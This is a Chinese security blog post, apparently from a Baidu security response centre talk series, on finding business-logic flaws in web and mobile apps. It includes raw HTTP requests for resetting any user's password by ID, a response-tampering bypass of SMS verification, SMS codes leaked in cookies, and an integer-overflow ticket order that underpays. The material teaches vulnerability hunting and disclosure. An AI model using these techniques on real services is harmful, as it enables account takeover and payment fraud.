深入浅出业务逻辑安全

2018-10-16 15:10:1722590人阅读

【Backer Talk】BSRC白客说第一期


议题:深入浅出业务逻辑安全

议题简介:对于公司和企业来说,业务逻辑漏洞往往利用成本低,但是危害却不容小觑。本期【BackerTalk】将与大家聊聊怎样深入理解业务逻辑,发现企业边缘资产,找到业务短板,更高效地帮助企业发现安全问题。

分享时间:2018年9月28日 15:00

讲师介绍:Focusstart,现任湖南省金盾信息安全等级保护评估中心有限公司技术总工,国内多个主流SRC核心白帽子,曾活跃于国内著名安全社区。


逻辑漏洞挖掘一直是安全测试中“经久不衰”的话题。相比SQL注入、XSS漏洞等传统安全漏洞,现在的攻击者更倾向于利用业务逻辑层的应用安全问题,这类问题往往危害巨大,并且传统的安全防御设备和措施收效甚微。

首先分享我在漏洞挖掘的一个习惯:

当我决定去做固定目标的漏洞发现的时候,我有个习惯,会把这个目标所有的微信公众号关注一遍,当微信公众号有小程序关联的时候、迁移的时候、功能说明的时候往往是相关系统出现迭代的时候,这种时候比较容易发现新的问题,当然这种情况适合长期作战,佛性挖洞。

业务逻辑这块其实最主要的版块是这三个:

1、账户体系

2、交易体系

3、业务流程

这三块往往是容易出现问题的点。业务安全是个老话题了,所以主要以分享一些有趣的案例为主,让大家能够思考相关的奇思淫巧。


分享一些有意思的案例:

1、登陆请求后,返回用户密码

1.jpg

2、表面看上去userId非常复杂,然而通过用户名依然可以重置密码

POST /xxxx/suserInfoRegAction!saveUserInfo.do HTTP/1.1
Host: xxx.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://xxx.com/index!welcome.do
Content-Type: application/x-www-form-urlencoded; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 58
Cookie: spen=176695429:8081; JSESSIONID=387993B0F113C0D1204E32683BE04531; loginmodel=normal
Connection: close

X-Forwarded-For: 127.0.0.1
userId=8a08a80565b6ab64016618e6fe7134db&password=a12345678


2.jpg

3、修改返回值

3.png

正常逻辑,重置密码需要如下三个条件:
1、用户名
2、身份证号码
3、手机短信验证码

然而身份证号码和手机短信验证码均可绕过,只需要知道用户名就可以重置任意用户密码

4.jpg

输入正确的用户名:lijuan
输入任意的证件号码,点击“获取短信验证码”:

5.jpg

抓包,修改如下接口的response,将status=1改成status=2:

放行,进入下一步接口,发送验证码接口泄露短信验证码

 

4、返回请求cookie中包含验证码

第一个案例:

6.png

7.png

返回请求cookie中包含验证码

8.jpg


第二个案例:

返回包中Cookie:express:sess的值回显了短信验证码


5、一处溢出造成的支付漏洞

POST /xxx/ticket/generateTicketorder HTTP/1.1
Host: www.xxxx.com
Content-Type: application/json
Cookie: JSESSIONID=3D0A6F0D3C8CB22C90583BB61008EB5C
Connection: keep-alive
Accept: */*
User-Agent: wallet-ios/1.0.7 (iPhone; iOS 10.3.2; Scale/2.00)
Accept-Language: zh-Hans-CN;q=1
Content-Length: 194
Accept-Encoding: gzip, deflate

{"GenerateTicketorderRq":{"cityCode":"4100","msisdn":"xxxxxxx",
"getOffStationCode":"0118","singleTicketType":"0","
singelTicketNum":21474837,
"pickupStationCode":"0112","singelTicketPrice":1}}


9.png


本文来自百度安全,如需转载,请注明出处及本文链接

【Backer Talk】将以两周一期的频率为大家带来技术分享,欢迎自荐成为BSRC白客说讲师,BSRC白客说征稿活动也在持续进行中,欢迎向我们惠赐作品。

0
现金券
0
兑换券
立即领取
领取成功